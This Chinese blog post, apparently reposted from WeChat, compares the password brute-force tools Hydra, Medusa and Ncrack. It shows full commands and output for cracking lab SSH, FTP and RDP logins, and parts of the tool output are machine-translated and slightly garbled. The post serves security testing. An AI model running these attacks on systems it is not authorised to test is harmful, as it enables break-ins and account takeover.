准备好测试许多密码暴力破解工具了吗?密码通常是任何系统中最薄弱的环节。弱密码测试是安全漏洞评估的重要组成部分。
我将专注于允许remote service暴力的工具。这些通常是面向互联网的服务,可以从世界任何地方访问。另一种类型的密码暴力破解是对password hash的攻击。像Hashcat这样的强大工具可以破解本地系统上的加密密码哈希。
我将评估的三个工具是Hydra,Medusa和Ncrack(来自nmap.org)。
安装
在UbuntuLinux上安装所有三个工具都是直接的。使用标准方法从源代码编译应用程序。或者,这三个工具在Kali上预先打包。
wget https://nmap.org/ncrack/dist/ncrack-0.7.tar.gz
./configure
make
make install
wget https://github.com/vanhauser-thc/thc-hydra/archive/v9.0.tar.gz
./configure
make
make install
wget http://www.foofus.net/jmk/tools/medusa-2.2.tar.gz
./configure
make
make install
密码列表
我从skullsecurity.org上找到了500个密码。当然,您可以找到包含数千甚至数百万个密码的密码列表。您需要选择最适合您的密码测试的方法,因为目标类型和测试速度等因素将是主要因素。
wget https://downloads.skullsecurity.org/passwords/500-worst-passwords.txt.bz2
bzip2 -d 500-worst-passwords.txt.bz2
系列测试
以下测试针对在Virtualbox上运行的Linux虚拟机执行。速度将根据目标是否在本地、连接的延迟甚至目标系统的处理能力而有所不同。严重的暴力强制可能会影响目标CPU,从而可能导致拒绝服务情况。测试生产系统时要小心。
测试1 - SSH
第一系列测试是针对SSH的。我将root帐户设置为密码toor。我在500个密码列表的最后499处添加了toor。
~# hydra -l root -P 500-worst-passwords.txt 10.10.10.10 ssh
Hydra v6.3 (c) 2011 by van Hauser / THC and David Maciejak - use allowed only for legal purposes.
Hydra (http://www.thc.org/thc-hydra) starting at 2011-05-05 16:45:19
[DATA] 16 tasks, 1 servers, 500 login tries (l:1/p:500), ~31 tries per task
[DATA] attacking service ssh on port 22
[STATUS] 185.00 tries/min, 185 tries in 00:01h, 315 todo in 00:02h
[STATUS] 183.00 tries/min, 366 tries in 00:02h, 134 todo in 00:01h
[22][ssh] host: 10.10.10.10 login: root password: toor
[STATUS] attack finished for 10.10.10.10 (waiting for children to finish)
Hydra (http://www.thc.org/thc-hydra) finished at 2011-05-05 16:48:08
Hydra成功找到密码!
~
Starting Ncrack 0.4ALPHA ( http://ncrack.org ) at 2011-05-05 16:50 EST
Stats: 0:00:18 elapsed; 0 services completed (1 total)
Rate: 0.09; Found: 0; About 6.80% done; ETC: 16:54 (0:04:07 remaining)
Stats: 0:01:46 elapsed; 0 services completed (1 total)
Rate: 3.77; Found: 0; About 78.40% done; ETC: 16:52 (0:00:29 remaining)
Discovered credentials for ssh on 10.10.10.10 22/tcp:
10.10.10.10 22/tcp ssh: 'root' 'toor'
Ncrack done: 1 service scanned in 138.03 seconds.
Ncrack finished.
使用Ncrack成功找到密码!
# medusa -u root -P 500-worst-passwords.txt -h 10.10.10.10 -M ssh
Medusa v2.0 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks
ACCOUNT CHECK: [ssh] Host: 10.10.10.10 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: 123456 (1 of 500 complete)
ACCOUNT CHECK: [ssh] Host: 10.10.10.10 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: password (2 of 500 complete)
<< --- SNIP --->>>
ACCOUNT CHECK: [ssh] Host: 10.10.10.10 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: billy (498 of 500 complete)
ACCOUNT CHECK: [ssh] Host: 10.10.10.10 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: toor (499 of 500 complete)
ACCOUNT FOUND: [ssh] Host: 10.10.10.10 User: root Password: toor [SUCCESS]
美杜莎成功,但它花了超过10倍的时间。
测试2 -速度
提升Medusa速度以使用5个并发登录失败,并出现以下错误:
ACCOUNT CHECK: [ssh] Host: 10.10.10.10 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: mustang (7 of 500 complete)
medusa: ath.c:193: _gcry_ath_mutex_lock: Assertion `*lock == ((ath_mutex_t) 0)' failed.
Aborted
以更快的速度尝试Ncrack有点快,但不是很多。
ncrack -p ssh -u root -P 500-worst-passwords.txt -T5 10.10.10.10
Starting Ncrack 0.4ALPHA ( http://ncrack.org ) at 2011-05-06 09:04 EST
Discovered credentials for ssh on 10.10.10.10 22/tcp:
10.10.10.10 22/tcp ssh: 'root' 'toor'
Ncrack done: 1 service scanned in 128.98 seconds.
Ncrack finished.
九头蛇更快吗在这里,我添加了32个线程的选项。
$ hydra -t 32 -l root -P 500-worst-passwords.txt 10.10.10.10 ssh
Hydra v6.3 (c) 2011 by van Hauser / THC and David Maciejak - use allowed only for legal purposes.
Hydra (http://www.thc.org/thc-hydra) starting at 2011-05-06 12:44:03
[DATA] 32 tasks, 1 servers, 500 login tries (l:1/p:500), ~15 tries per task
[DATA] attacking service ssh on port 22
[STATUS] 184.00 tries/min, 184 tries in 00:01h, 316 todo in 00:02h
[STATUS] 185.50 tries/min, 371 tries in 00:02h, 129 todo in 00:01h
[STATUS] attack finished for 10.10.10.10 (waiting for children to finish)
[22][ssh] host: 10.10.10.10 login: root password: toor
Hydra (http://www.thc.org/thc-hydra) finished at 2011-05-06 12:46:57
真的没有变化。也许Hydra和Ncrack的限制因素是VirtualBox机器的响应速度。无论哪种方式,似乎默认速度是相当不错的两个工具。
测试3 - FTP服务器
现在尝试访问同一主机上的FTP服务器(vsftpd)
$ ncrack -u test -P 500-worst-passwords.txt -T 5 10.10.10.10 -p 21
Starting Ncrack 0.4ALPHA ( http://ncrack.org ) at 2011-05-06 12:55 EST
Stats: 0:00:03 elapsed; 0 services completed (1 total)
Rate: 0.00; Found: 0; About 0.00% done
Stats: 0:00:06 elapsed; 0 services completed (1 total)
Rate: 0.00; Found: 0; About 0.00% done
Discovered credentials for ftp on 10.10.10.10 21/tcp:
10.10.10.10 21/tcp ftp: 'test' 'toor'
Ncrack done: 1 service scanned in 66.01 seconds.
尝试推动它更快....
$ ncrack -u 测试 -P 500 个最差密码.txt -T 5 10.10.10.10 -p 21
于 2011-05-06 12:55 EST 启动 Ncrack 0.4ALPHA ( http://ncrack.org )
统计数据:已过去 0:00:03;已完成 0 项服务(共 1 项)
评分:0.00;发现:0;完成约 0.00%
统计数据:已用时 0:00:06;已完成 0 项服务(共 1 项)
评分:0.00;发现:0;完成约 0.00%
在 10.10.10.10 21/tcp 上发现 ftp 凭据:
10.10.10.10 21/tcp ftp:'测试' 'toor'
Ncrack 完成:66.01 秒内扫描了 1 项服务。
结果相同。限制因素可能是 VM。
$ hydra -l root -P 500-worst-passwords.txt 10.10.10.10 ftp
Hydra v6.3 (c) 2011 由 van Hauser / THC 和 David Maciejak 制作 - 仅允许用于合法目的。
Hydra (http://www.thc.org/thc-hydra) 于 2011-05-06 13:07:43 开始
[16 个任务,1 个服务器,500 次登录尝试(l:1/p:500),每个任务尝试约 31 次 ]
[21 端口上的 ftp 服务 ] 攻击
错误:不是 FTP 协议或服务关闭:500 OOPS:priv_sock_get_cmd
错误:不是 FTP 协议或服务关闭:500 OOPS:priv_sock_get_cmd
[219.00 次,00:01 小时内尝试 219 次,00:02 小时内待办 281 项 ] 每分钟尝试
错误:不是 FTP 协议或服务关闭:500 OOPS:priv_sock_get_cmd
错误:不是 FTP 协议或服务关闭:500 OOPS:priv_sock_get_cmd
[233.06 次,00:02 小时内尝试 470 次,00:01 小时内待办 30 次 ] 每分钟尝试
[10.10.10.10 攻击已完成(等待子攻击完成) ]
Hydra (http://www.thc.org/thc-hydra) 于 2011-05-06 13:09:56 完成
糟糕,我们的FTP服务崩溃了吗?
现在正在与 Medusa 一起测试。
~$ medusa -u 测试 -P 500-worst-passwords.txt -h 10.10.10.10 -M ftp
美杜莎 v2.0 [http://www.foofus.net](C)JoMo-Kun / Foofus Networks
帐户检查:[ftp] 主机:10.10.10.10 (1 个中的 1 个,已完成 0 个) 用户:test (1 个中的 1 个,已完成 0 个) 密码:123456 (500 个中的 1 个,已完成)
帐户检查:[ftp] 主机:10.10.10.10(1 个中的 1 个,0 个完成)用户:test(1 个中的 1 个,0 个完成)密码:password(500 个中的 2 个完成)
帐户检查:[ftp] 主机:10.10.10.10(1 个中的 1 个,已完成 0 个)用户:test(1 个中的 1 个,已完成 0 个)密码:12345678(500 个中的 3 个已完成)
错误:[ftp.mod] 失败:medusaReceive 未返回任何数据。服务器可能由于缺乏加密而断开连接。启用 EXPLICIT 模式可能会有所帮助。
严重:未知的 ftp.mod 模块状态 -1
美杜莎看上去也在挣扎。
让我们回去再检查一下,ncrack以确保服务仍然正常。
~$ ncrack -u 测试 -P 500 个最差密码.txt -T 5 10.10.10.10 -p 21
于 2011-05-06 13:14 EST 启动 Ncrack 0.4ALPHA ( http://ncrack.org )
在 10.10.10.10 21/tcp 上发现 ftp 凭据:
10.10.10.10 21/tcp ftp:'测试' 'toor'
Ncrack 完成:62.99 秒内扫描 1 项服务。
Ncrack 完成。
ncrack 胜利!
ncrack 还能够暴力破解RDP账户。让我们来测试一下启用了 Microsoft 远程桌面协议的 Windows 机器。
$ ncrack -u 管理员 -P 500-worst-passwords.txt -p 3389 10.212.50.21
于 2011-05-06 13:26 EST 启动 Ncrack 0.4ALPHA ( http://ncrack.org )
统计数据:已用时 0:02:18;已完成 0 项服务(共 1 项)
评分:0.02;已找到:0;已完成约 3.40%;ETC:14:33(剩余 1:05:21)
统计数据:已用时 0:15:07;已完成 0 项服务(共 1 项)
评分:0.20;已发现:0;已完成约 13.80%;ETC:15:15(剩余 1:34:25)
统计数据:已用时 0:22:19;已完成 0 项服务(共 1 项)
评分:0.02;已找到:0;已完成约 19.40%;ETC:15:21(剩余 1:32:43)
统计数据:已用时 0:24:46;已完成 0 项服务(共 1 项)
在 10.212.50.21 3389/tcp 上发现 rdp 凭据:
10.212.50.21 3389/tcp rdp:'管理员' 'toor'
Ncrack 完成:6072 秒内扫描了 1 个服务。
不同工具对协议的支持有所不同:
Hydra - TELNET、FTP、HTTP、HTTPS、HTTP-PROXY、SMB、SMBNT、MS-SQL、MYSQL、REXEC、irc、RSH、RLOGIN、CVS、SNMP、SMTP、SOCKS5、VNC、POP3、IMAP、NNTP、PCNFS、XMPP、ICQ、SAP/R3、LDAP2、LDAP3、Postgres、Teamspeak、Cisco auth、Cisco enable、AFP、Subversion/SVN、Firebird、LDAP2、Cisco AAA
Medusa - AFP、CVS、FTP、HTTP、IMAP、MS-SQL、MySQL、NetWare NCP、NNTP、PcAnywhere、POP3、PostgreSQL、REXEC、RLOGIN、RSH、SMBNT、SMTP-AUTH、SMTP-VRFY、SNMP、SSHv2、Subversion (SVN)、Telnet、VMware 身份验证守护程序 (vmauthd)、VNC、通用包装器、
Web 表单
Ncrack - RDP、SSH、http(s)、SMB、pop3(s)、VNC、FTP、telnet
结论
为进行更全面的审查,还有更多内容需要测试。其他协议、不同目标、延迟以及对扫描速度和线程的进一步调整。
RDP尽管与 Hydra 和 Medusa 相比,ncrack 的协议支持有限,但就速度、可靠性和访问服务的能力而言,这项小测试的唯一结论是ncrack 获胜!!
原文始发于微信公众号(像梦又似花):使用ncrack、hydra和medusa的暴力破解密码
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论